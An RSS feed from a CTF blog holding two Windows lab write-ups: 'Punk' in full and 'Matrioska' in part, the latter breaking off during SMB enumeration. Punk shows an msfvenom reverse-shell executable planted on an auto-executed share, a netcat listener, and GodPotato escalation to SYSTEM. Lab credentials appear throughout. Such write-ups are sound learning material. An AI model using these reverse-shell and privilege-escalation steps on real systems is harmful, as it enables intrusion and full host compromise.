<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>xiaowenji</title><description>ctf</description><link>https://xiaowenjictf.github.io/</link><language>en</language><item><title>Punk - Ronin66 Machine</title><link>https://xiaowenjictf.github.io/posts/roninlabs/punk/punk/</link><guid isPermaLink="true">https://xiaowenjictf.github.io/posts/roninlabs/punk/punk/</guid><description>Punk writeup</description><pubDate>Tue, 15 Sep 2026 00:00:00 GMT</pubDate><content:encoded>&lt;hr /&gt;
&lt;h2&gt;Summary&lt;/h2&gt;
&lt;p&gt;Punk is a Windows host exposing FTP, SMTP, POP3, IMAP, SMB, and IIS. Initial enumeration revealed anonymous access to the &lt;code&gt;dev&lt;/code&gt; SMB share, which contained a .NET application and its DLL. Decompiling &lt;code&gt;OldCyber2077.dll&lt;/code&gt; exposed hardcoded FTP and SNMP credentials.&lt;/p&gt;
&lt;p&gt;The recovered FTP credentials provided access to several log files. One of the logs contained SMTP credentials for &lt;code&gt;info@arakusa.corp&lt;/code&gt;, which were then reused to access the POP3 service. Two mailbox messages revealed important information about the environment: one disclosed that &lt;code&gt;cyber2077.exe&lt;/code&gt; placed in the &lt;code&gt;prod&lt;/code&gt; share was automatically executed by a service or scheduled job, while the other exposed the default password &lt;code&gt;Arakusa2025&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The default password was successfully reused by &lt;code&gt;Alan&lt;/code&gt;, who had read and write permissions on the &lt;code&gt;prod&lt;/code&gt; share. By uploading a malicious &lt;code&gt;cyber2077.exe&lt;/code&gt;, code execution was obtained as &lt;code&gt;svc_v&lt;/code&gt;, providing the user flag.&lt;/p&gt;
&lt;p&gt;Finally, &lt;code&gt;svc_v&lt;/code&gt; had &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; enabled. This privilege was abused with GodPotato to impersonate a SYSTEM token and execute commands as &lt;code&gt;NT AUTHORITY\SYSTEM&lt;/code&gt;, resulting in full compromise of the host.&lt;/p&gt;
&lt;h2&gt;Recon&lt;/h2&gt;
&lt;h3&gt;Initial Enumeration&lt;/h3&gt;
&lt;p&gt;A full TCP scan with service detection was performed to identify the exposed services:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;➜  Punk nmap -sC -sV -p- -v 172.16.18.15 --min-rate 1000
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-14 14:16 -0400
Nmap scan report for 172.16.18.15
Host is up (0.26s latency).
Not shown: 65517 closed tcp ports (reset)
PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           Microsoft ftpd
| ftp-syst:
|_  SYST: Windows_NT
25/tcp    open  smtp          MailEnable smptd 10.53--
| smtp-commands: arakusa.corp [10.8.0.30], this server offers 4 extensions, AUTH LOGIN, SIZE 40960000, HELP, AUTH=LOGIN
|_ 211 Help:-&amp;gt;Supported Commands: HELO,EHLO,QUIT,HELP,RCPT,MAIL,DATA,RSET,NOOP
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows
110/tcp   open  pop3          MailEnable POP3 Server
|_pop3-capabilities: UIDL USER TOP
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
143/tcp   open  imap          MailEnable imapd
|_imap-capabilities: IDLE XLIST UIDPLUS SPECIAL-USEA0001 CHILDREN completed AUTH=CRAM-MD5 CAPABILITY OK AUTH=LOGIN IMAP4rev1 IMAP4
445/tcp   open  microsoft-ds?
587/tcp   open  smtp          MailEnable smptd 10.53--
| smtp-commands: arakusa.corp [10.8.0.30], this server offers 4 extensions, AUTH LOGIN, SIZE 40960000, HELP, AUTH=LOGIN
|_ 211 Help:-&amp;gt;Supported Commands: HELO,EHLO,QUIT,HELP,RCPT,MAIL,DATA,RSET,NOOP
5040/tcp  open  unknown
7680/tcp  open  pando-pub?
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49672/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  msrpc         Microsoft Windows RPC
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The target exposed multiple services related to file sharing and email, including FTP, SMB, SMTP, POP3, and IMAP. SMB was prioritized first because anonymous access could potentially expose internal files.&lt;/p&gt;
&lt;h2&gt;Enumeration&lt;/h2&gt;
&lt;h3&gt;SMB Enumeration&lt;/h3&gt;
&lt;p&gt;Anonymous SMB access was tested and allowed read access to the non-default &lt;code&gt;dev&lt;/code&gt; share:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;➜  Punk nxc smb 172.16.18.15 -u &apos;guest&apos; -p &apos;&apos; --shares
SMB         172.16.18.15    445    DESKTOP-CLM9MNF  [*] Windows 11 / Server 2025 Build 26100 x64 (name:DESKTOP-CLM9MNF) (domain:DESKTOP-CLM9MNF) (signing:True) (SMBv1:None)
SMB         172.16.18.15    445    DESKTOP-CLM9MNF  [+] DESKTOP-CLM9MNF\guest:
SMB         172.16.18.15    445    DESKTOP-CLM9MNF  [*] Enumerated shares
SMB         172.16.18.15    445    DESKTOP-CLM9MNF  Share           Permissions     Remark
SMB         172.16.18.15    445    DESKTOP-CLM9MNF  -----           -----------     ------
SMB         172.16.18.15    445    DESKTOP-CLM9MNF  ADMIN$                          Remote Admin
SMB         172.16.18.15    445    DESKTOP-CLM9MNF  C$                              Default share
SMB         172.16.18.15    445    DESKTOP-CLM9MNF  dev             READ
SMB         172.16.18.15    445    DESKTOP-CLM9MNF  IPC$            READ            Remote IPC
SMB         172.16.18.15    445    DESKTOP-CLM9MNF  prod
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;dev&lt;/code&gt; share contained three files, including a .NET executable and DLL:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;➜  Punk smbclient //172.16.18.15/dev
Password for [WORKGROUP\root]:
Try &quot;help&quot; to get a list of possible commands.
smb: \&amp;gt; ls
  .                                   D        0  Wed Oct  1 05:08:56 2025
  ..                                DHS        0  Mon Sep 14 09:58:00 2026
  OldCyber2077.dll                    A     7168  Wed Oct  1 05:07:45 2025
  OldCyber2077.exe                    A 63606204  Wed Oct  1 05:07:46 2025
  procmon.exe                         A  4124696  Wed Oct  1 05:08:30 2025

        16559871 blocks of size 4096. 10503122 blocks available
smb: \&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;DLL Analysis&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;OldCyber2077.dll&lt;/code&gt; file was downloaded and decompiled with &lt;a href=&quot;https://github.com/icsharpcode/ILSpy/blob/master/ICSharpCode.ILSpyCmd/README.md&quot;&gt;ilspycmd&lt;/a&gt;. The decompiled source contained hardcoded credentials for both FTP and SNMP:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;➜  Punk ilspycmd OldCyber2077.dll
using System;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Threading;
using Microsoft.CodeAnalysis;

namespace Cyber2077
{
	internal class Program
	{
		private static readonly string ftpCreds = &quot;nightftp:Silverhand2077#&quot;;

		private static readonly string snmpTarget = &quot;10.10.87.22&quot;;

		private static readonly string snmpUser = &quot;snmp-user-admin&quot;;

		private static readonly string snmpPass = &quot;dsabih231D22d@@lk77&quot;;

		private static void Main(string[] args)
		{
			string text = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, &quot;logs&quot;);
			string text2 = Path.Combine(text, &quot;snmp&quot;);
			string text3 = Path.Combine(text, &quot;ftp_upload&quot;);
			Directory.CreateDirectory(text);
			Directory.CreateDirectory(text2);
			Directory.CreateDirectory(text3);
			&amp;lt;SNIP&amp;gt;
		}
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The relevant credentials were:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nightftp : Silverhand2077#

snmp-user-admin : dsabih231D22d@@lk77
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The FTP credentials were useful because an FTP service was exposed on port &lt;code&gt;21&lt;/code&gt;, so we moved there next.&lt;/p&gt;
&lt;h2&gt;Shell as svc_v&lt;/h2&gt;
&lt;h3&gt;FTP Access and Log Analysis&lt;/h3&gt;
&lt;p&gt;Using the recovered &lt;code&gt;nightftp&lt;/code&gt; credentials, we authenticated to FTP and enumerated the available files:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;➜  Punk ftp 172.16.18.15
Connected to 172.16.18.15.
220 Microsoft FTP Service
Name (172.16.18.15:root): nightftp
331 Password required
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp&amp;gt; ls
229 Entering Extended Passive Mode (|||51709|)
125 Data connection already open; Transfer starting.
10-01-25  12:16PM       &amp;lt;DIR&amp;gt;          aspnet_client
10-01-25  09:50AM                  353 info.txt
10-01-25  10:11AM                  977 logs_data_2025-10-01_12-00-00.txt
10-01-25  10:17AM                  919 logs_data_2025-10-01_12-00-01.txt
10-01-25  10:12AM                  772 logs_data_2025-10-01_12-00-02.txt
10-01-25  10:13AM                  755 logs_data_2025-10-01_12-00-03.txt
10-01-25  10:14AM                  768 logs_data_2025-10-01_12-00-04.txt
10-01-25  09:47AM                17280 OIP.jpg
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;One of the log files contained another credential inside the generated SNMP dump:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# SNMP dump
# Target: 10.10.87.22
# Auth: user=snmp-user-admin pass=dsabih231D22d@@lk77
# Generated: 2025-10-01 12:00:01

1.3.6.1.2.1.1.1.0 = Embedded OS v3.2.1
1.3.6.1.2.1.1.3.0 = 2345678
1.3.6.1.2.1.2.2.1.10.1 = 112233
1.3.6.1.2.1.2.2.1.16.1 = 332211
1.3.6.1.4.1.2021.4.5.0 = 4096
systemLoad1 = 0.05
systemLoad5 = 0.03
uptimeSeconds = 234567
activeProcesses = 87
interfaceCount = 2
ifInErrors.1 = 0
ifOutErrors.1 = 1
diskTotal = 65536
diskFree = 56000
temperature = 45

SNMP simulated dump.
Note: Authentication attempted with mock credentials.
Local file: logs/snmp/logs_data_2025-10-01_12-00-01.txt
Contained artifact: smtp credentials found in config payload:
info@arakusa.corp
Imp0ssibl3tol3akth!son3
FTP marker: Uploaded by nightftp:Silverhand2077# at 2025-10-01 12:00:01
FTP stored as: ftp_upload/uploaded_2025-10-01_12-00-01.txt
END OF DUMP
-- log end --
Generated by Cyber2077
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The log exposed SMTP credentials for &lt;code&gt;info@arakusa.corp&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;info@arakusa.corp : Imp0ssibl3tol3akth!son3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Since POP3 was exposed on port &lt;code&gt;110&lt;/code&gt;, the recovered credentials were tested there.&lt;/p&gt;
&lt;h3&gt;POP3 Mailbox Enumeration&lt;/h3&gt;
&lt;p&gt;The credentials authenticated successfully and revealed three messages:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;➜  Punk curl -u info:&apos;Imp0ssibl3tol3akth!son3&apos; pop3://172.16.18.15/
1 5149
2 1407
3 2016
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Message &lt;code&gt;2&lt;/code&gt; contained a base64-encoded email:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;➜  Punk curl -u info:&apos;Imp0ssibl3tol3akth!son3&apos; pop3://172.16.18.15/2
Received: from DESKTOP-CLM9MNF ([::1]) by arakusa.corp with
 MailEnable ESMTPA; Wed, 1 Oct 2025 13:07:26 +0200
MIME-Version: 1.0
From: &quot;Eric&quot; &amp;lt;info@arakusa.corp&amp;gt;
To: &quot;All Staff&quot; &amp;lt;info@arakusa.corp&amp;gt;
Date: 1 Oct 2025 13:07:26 +0200
Subject: URGENTE: change default passwords
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: base64
Message-ID: &amp;lt;06D9CC3FF1794FEFB54F309E3137FEA3.MAI@arakusa.corp&amp;gt;
Return-Path: &amp;lt;info@arakusa.corp&amp;gt;

VGVh&amp;lt;BASE64_BLOB&amp;gt;5jb3Jw
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We decoded the message locally:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;➜  Punk cat file.b64|base64 -d
Hi team,

Following recent findings, please take two actions immediately regarding the cyber2077.exe artifact:

1) Remove **Cyber2077.exe** from the **prod** share. The binary must be deleted from the shared folder to prevent further execution.

2) **Disable the service / scheduled job** that automatically scans the prod share and executes that binary. If the service remains active after the file is deleted, it will continue to run a missing/empty task and may produce misleading logs or restart attempts; we must remove the execution trigger as well.

Procedure:
- Stop the service/task on the host that runs the prod share job.
- Verify there are no startup entries or scheduled tasks that reference cyber2077.exe.
- Remove the file \\&amp;lt;server&amp;gt;\prod\cyber2077.exe.
- Confirm the service is disabled and document the change.

If you cannot reach the host or need elevated rights, escalate to me immediately. Do not simply delete the file without disabling the execution mechanism â€” that will leave the system in a noisy, unstable state.

Thanks,
Alan
Senior Systems Engineer
arakusa.corp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This email revealed that &lt;code&gt;cyber2077.exe&lt;/code&gt; was automatically executed from the &lt;code&gt;prod&lt;/code&gt; share. Therefore, write access to that share could potentially provide code execution.&lt;/p&gt;
&lt;p&gt;We then checked another mailbox message for additional credentials:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;➜  Punk cat file1.b64|base64 -d
Team,

There has been a public leak this year that affects default credentials on multiple vendor devices and services. Effective immediately, **everyone must change any default passwords** on the systems and appliances you manage.

In particular, please replace any use of the default password **Arakusa2025** with a unique, strong password and document the change in the ticketing system. Focus first on:
- Network devices (switches, routers, firewalls)
- File shares and backups
- Service accounts exposed to the network

Confirm completion in the #it-ops channel or reply to this email once you have completed the changes for your scope.

Thanks,
Eric
CTO
arakusa.corp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The message exposed the default password &lt;code&gt;Arakusa2025&lt;/code&gt;. The sender of the first email was &lt;code&gt;Alan&lt;/code&gt;, so we tested this password against the SMB service.&lt;/p&gt;
&lt;h3&gt;Foothold via the prod Share&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;Alan&lt;/code&gt; account authenticated successfully and had write access to the &lt;code&gt;prod&lt;/code&gt; share:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;➜  Punk nxc smb 172.16.18.15 -u &apos;Alan&apos; -p &apos;Arakusa2025&apos; --shares
SMB         172.16.18.15    445    DESKTOP-CLM9MNF  [*] Windows 11 / Server 2025 Build 26100 x64 (name:DESKTOP-CLM9MNF) (domain:DESKTOP-CLM9MNF) (signing:True) (SMBv1:None)
SMB         172.16.18.15    445    DESKTOP-CLM9MNF  [+] DESKTOP-CLM9MNF\Alan:Arakusa2025
SMB         172.16.18.15    445    DESKTOP-CLM9MNF  [*] Enumerated shares
SMB         172.16.18.15    445    DESKTOP-CLM9MNF  Share           Permissions     Remark
SMB         172.16.18.15    445    DESKTOP-CLM9MNF  -----           -----------     ------
SMB         172.16.18.15    445    DESKTOP-CLM9MNF  ADMIN$                          Remote Admin
SMB         172.16.18.15    445    DESKTOP-CLM9MNF  C$                              Default share
SMB         172.16.18.15    445    DESKTOP-CLM9MNF  dev             READ
SMB         172.16.18.15    445    DESKTOP-CLM9MNF  IPC$            READ            Remote IPC
SMB         172.16.18.15    445    DESKTOP-CLM9MNF  prod            READ,WRITE
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This matched the behavior described in the email. Since &lt;code&gt;Alan&lt;/code&gt; could write to &lt;code&gt;prod&lt;/code&gt; and the environment automatically executed &lt;code&gt;cyber2077.exe&lt;/code&gt;, we generated a reverse-shell executable with that exact filename:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;➜  Punk msfvenom -p windows/shell_reverse_tcp lhost=10.8.0.30 lport=4444 -f exe -o cyber2077.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 7168 bytes
Saved as: cyber2077.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We then uploaded the executable to the writable &lt;code&gt;prod&lt;/code&gt; share:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;➜  Punk smbclient //172.16.18.15/prod -U &apos;Alan&apos;
Password for [WORKGROUP\Alan]:
Try &quot;help&quot; to get a list of possible commands.
smb: \&amp;gt; put cyber2077.exe
putting file cyber2077.exe as \cyber2077.exe (9.0 kB/s) (average 9.0 kB/s)
smb: \&amp;gt; exit
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After the scheduled execution mechanism processed the uploaded binary, a reverse shell was received:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;➜  Punk nc -vnlp 4444
listening on [any] 4444 ...
connect to [10.8.0.30] from (UNKNOWN) [172.16.18.15] 53142
Microsoft Windows [Version 10.0.26100.8037]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\System32&amp;gt;whoami
whoami
desktop-clm9mnf\svc_v

C:\Windows\System32&amp;gt; cd Public
cd Public
PS C:\Users\Public&amp;gt; cat user.flg
cat user.flg
ee9&amp;lt;SNIP&amp;gt;14a
PS C:\Users\Public&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We now had code execution as &lt;code&gt;svc_v&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Shell as NT AUTHORITY\SYSTEM&lt;/h2&gt;
&lt;h3&gt;SeImpersonatePrivilege&lt;/h3&gt;
&lt;p&gt;The next step was to enumerate the privileges assigned to &lt;code&gt;svc_v&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;C:\Windows\System32&amp;gt;whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State
============================= ========================================= ========
SeShutdownPrivilege           Shut down the system                      Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeUndockPrivilege             Remove computer from docking station      Disabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
SeTimeZonePrivilege           Change the time zone                      Disabled
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; was enabled, providing a direct path to SYSTEM through token impersonation.&lt;/p&gt;
&lt;h3&gt;GodPotato&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/BeichenDream/GodPotato/releases/tag/V1.20&quot;&gt;GodPotato&lt;/a&gt; was uploaded to the writable &lt;code&gt;prod&lt;/code&gt; share and then executed from the compromised session. The binary successfully located and impersonated a SYSTEM token:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;C:\prod&amp;gt;.\GodPotato-NET4.exe -cmd &quot;cmd /c type C:\Users\Administrator\Desktop\root.flg&quot;
.\GodPotato-NET4.exe -cmd &quot;cmd /c type C:\Users\Administrator\Desktop\root.flg&quot;
[*] CombaseModule: 0x140730503135232
[*] DispatchTable: 0x140730505852480
[*] UseProtseqFunction: 0x140730504826816
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] Trigger RPCSS
[*] CreateNamedPipe \\.\pipe\92832d30-59b3-4777-9198-e9465f268f6b\pipe\epmapper
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 0000c402-1214-ffff-626d-fcda8a9dfb05
[*] DCOM obj OXID: 0x208ba55679cb0925
[*] DCOM obj OID: 0xa25bddbb474f879d
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 952 Token:0x720  User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 1868
39c&amp;lt;SNIP&amp;gt;89ee
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The flag was retrieved under &lt;code&gt;NT AUTHORITY\SYSTEM&lt;/code&gt;, completing the privilege escalation.&lt;/p&gt;
</content:encoded></item><item><title>Matrioska - Ronin66 Machine</title><link>https://xiaowenjictf.github.io/posts/roninlabs/matrioska/matrioska/</link><guid isPermaLink="true">https://xiaowenjictf.github.io/posts/roninlabs/matrioska/matrioska/</guid><description>Matrioska writeup</description><pubDate>Mon, 14 Sep 2026 00:00:00 GMT</pubDate><content:encoded>&lt;hr /&gt;
&lt;h2&gt;Summary&lt;/h2&gt;
&lt;p&gt;Matrioska is a Windows host exposing FTP, SMB, SNMP, WinRM, and MSSQL. Initial enumeration revealed anonymous FTP access to a log file containing an SNMP community string. Walking SNMP with the recovered community exposed a cleartext credential for &lt;code&gt;svc_smb&lt;/code&gt;, which granted access to a non-default &lt;code&gt;TMP&lt;/code&gt; SMB share.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;TMP&lt;/code&gt; share contained several files and archives, including a full &lt;code&gt;System32&lt;/code&gt; dump. Extracting the offline &lt;code&gt;SAM&lt;/code&gt;, &lt;code&gt;SYSTEM&lt;/code&gt;, and &lt;code&gt;SECURITY&lt;/code&gt; hives with &lt;code&gt;secretsdump&lt;/code&gt; recovered the local &lt;code&gt;Administrator&lt;/code&gt; NT hash. RID brute forcing then revealed the &lt;code&gt;Dean&lt;/code&gt; account, which reused the same password hash, allowing pass-the-hash authentication over WinRM and access to the user flag.&lt;/p&gt;
&lt;p&gt;Further enumeration revealed a KeePass database in &lt;code&gt;Dean&lt;/code&gt;&apos;s Documents directory. The first database could not be cracked with &lt;code&gt;rockyou.txt&lt;/code&gt;, but another deleted &lt;code&gt;.kdbx&lt;/code&gt; file was recovered from the Recycle Bin. This database cracked successfully and contained the MSSQL &lt;code&gt;sa&lt;/code&gt; credentials.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;sa&lt;/code&gt; account was used to access MSSQL and enable &lt;code&gt;xp_cmdshell&lt;/code&gt;. Since the SQL Server process had &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt;, GodPotato was used to impersonate a SYSTEM token and execute commands as &lt;code&gt;NT AUTHORITY\SYSTEM&lt;/code&gt;, resulting in full control of the machine.&lt;/p&gt;
&lt;h2&gt;Recon&lt;/h2&gt;
&lt;h3&gt;Initial Enumeration&lt;/h3&gt;
&lt;p&gt;A full TCP scan with service detection was performed to identify the exposed services:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;➜  Matrioska nmap -sC -sV -p- 172.16.18.11 --min-rate 5000
PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_07-27-25  11:58AM       &amp;lt;DIR&amp;gt;          logs
| ftp-syst:
|_  SYST: Windows_NT
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-title: Site doesn&apos;t have a title.
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
5040/tcp  open  unknown
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
7680/tcp  open  pando-pub?
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49671/tcp open  msrpc         Microsoft Windows RPC
49672/tcp open  msrpc         Microsoft Windows RPC
50668/tcp open  ms-sql-s      Microsoft SQL Server 2022 16.00.1000.00; RTM
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Several services were immediately interesting, including anonymous FTP, SMB, WinRM, and MSSQL running on the non-standard port &lt;code&gt;50668&lt;/code&gt;. FTP was prioritized first because anonymous access was explicitly identified by Nmap.&lt;/p&gt;
&lt;h3&gt;FTP Enumeration&lt;/h3&gt;
&lt;p&gt;As seen in the Nmap output, anonymous FTP access was allowed. We connected to the service and downloaded the exposed &lt;code&gt;last_2025.txt&lt;/code&gt; file:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;➜  Matrioska ftp 172.16.18.11
Connected to 172.16.18.11.
220 Microsoft FTP Service
Name (172.16.18.11:root): ftp
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp&amp;gt; ls -la
229 Entering Extended Passive Mode (|||49823|)
125 Data connection already open; Transfer starting.
07-27-25  11:58AM       &amp;lt;DIR&amp;gt;          logs
226 Transfer complete.
ftp&amp;gt; cd logs
250 CWD command successful.
ftp&amp;gt; ls
229 Entering Extended Passive Mode (|||49825|)
125 Data connection already open; Transfer starting.
11-21-25  07:05PM                   38 last_2025.txt
226 Transfer complete.
ftp&amp;gt; get last_2025.txt
local: last_2025.txt remote: last_2025.txt
229 Entering Extended Passive Mode (|||49826|)
125 Data connection already open; Transfer starting.
100% |*********************************************************************|    38        0.14 KiB/s    00:00 ETA
226 Transfer complete.
38 bytes received in 00:00 (0.13 KiB/s)
ftp&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The downloaded file contained what appeared to be an SNMP community string:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;➜  Matrioska cat last_2025.txt
SNMP: gdnceukal87wh66mxz109swklax567j8
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;SNMP Enumeration&lt;/h3&gt;
&lt;p&gt;The recovered community string was used to enumerate the SNMP service:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;➜  Matrioska snmpwalk -v2c -c gdnceukal87wh66mxz109swklax567j8 172.16.18.11

iso.3.6.1.2.1.1.1.0 = STRING: &quot;Hardware: AMD64 Family 15 Model 107 Stepping 1 AT/AT COMPATIBLE - Software: Windows Version 6.3 (Build 26100 Multiprocessor Free)&quot;
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.311.1.1.3.1.1
iso.3.6.1.2.1.1.3.0 = Timeticks: (1557900268) 180 days, 7:30:02.68
iso.3.6.1.2.1.1.4.0 = STRING: &quot;Username: svc_smb | pass: !Smbsvc_2025#66#&quot;
iso.3.6.1.2.1.1.5.0 = STRING: &quot;MTK161&quot;
iso.3.6.1.2.1.1.6.0 = &quot;&quot;
iso.3.6.1.2.1.1.7.0 = INTEGER: 76
iso.3.6.1.2.1.2.1.0 = INTEGER: 17
iso.3.6.1.2.1.2.2.1.1.1 = INTEGER: 1
&amp;lt;SNIP&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The SNMP data exposed a cleartext credential:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;svc_smb : !Smbsvc_2025#66#
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This credential was then tested against SMB.&lt;/p&gt;
&lt;h2&gt;Shell as Dean&lt;/h2&gt;
&lt;h3&gt;SMB Enumeration&lt;/h3&gt;
&lt;p&gt;Using the recovered credentials, we enumerated the available SMB shares:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;➜  Matrioska nxc smb 172.16.18.11 -u &apos;svc_smb&apos; -p &apos;!Smbsvc_2025#66#&apos; --shares
SMB         172.16.18.11    445    MTK161           [*] Windows 11 / Server 2025 Build 26100 x64 (name:MTK161) (domain:MTK161) (signing:True) (SMBv1:None)
SMB         172.16.18.11    445    MTK161           [+] MTK161\svc_smb:!Smbsvc_2025#66#
SMB         172.16.18.11    445    MTK161           [*] Enumerated shares
SMB         172.16.18.11    445    MTK161           Share           Permissions     Remark
SMB         172.16.18.11    445    MTK161           -----           -----------     ------
SMB         172.16.18.11    445    MTK161           ADMIN$                          Remote Admin
SMB         172.16.18.11    445    MTK161           C$                              Default share
SMB         172.16.18.11    445    MTK161           IPC$            READ            Remote IPC
SMB         172.16.18.11    445    MTK161           TMP             READ
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;TMP&lt;/code&gt; share allowed read access and was not a standard administrative share. We connected to it with &lt;code&gt;smbclient&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;➜  Matrioska smbclient //172.16.18.11/TMP -U &apos;svc_smb&apos;
Password for [WORKGROUP\svc_smb]:
Try &quot;help&quot; to get a list of possible commands.
smb: \&amp;gt; ls
  .                                   D        0  Fri Nov 21 11:20:46 2025
  ..                                DHS        0  Sat Mar 14 07:38:07 2026
  archives                            D        0  Mon Jul 28 11:49:48 2025
  backup                              D        0  Mon Jul 28 11:50:13 2025
  confidential_notes.txt              A       34  Sat Jul 26 07:04:12 2025
  config_666.log                      A       67  Sat Jul 26 07:04:12 2025
  data_243.cfg                        A       64  Sat Jul 26 07:04:12 2025
  logfile_332.cfg                     A      264  Sat Jul 26 07:04:12 2025
  logs                                D        0  Mon Jul 28 11:49:48 2025
